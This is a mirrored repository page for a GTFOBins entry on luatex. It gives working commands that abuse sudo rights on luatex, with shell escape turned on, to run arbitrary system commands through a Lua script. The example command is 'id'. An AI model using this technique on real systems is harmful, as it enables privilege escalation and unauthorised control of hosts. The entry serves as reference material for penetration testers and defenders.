1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/luatex.md
SynackCerv fd30994f8a
Create luatex.md
Add luatex.
2021-04-22 22:15:59 +02:00

384 B

description: luatex allows to call external lua scripts. functions: sudo: - code: | echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex echo 'os.execute("/usr/bin/id")' > runfunc.lua luatex --interaction=nonstopmode --shell-escape file.tex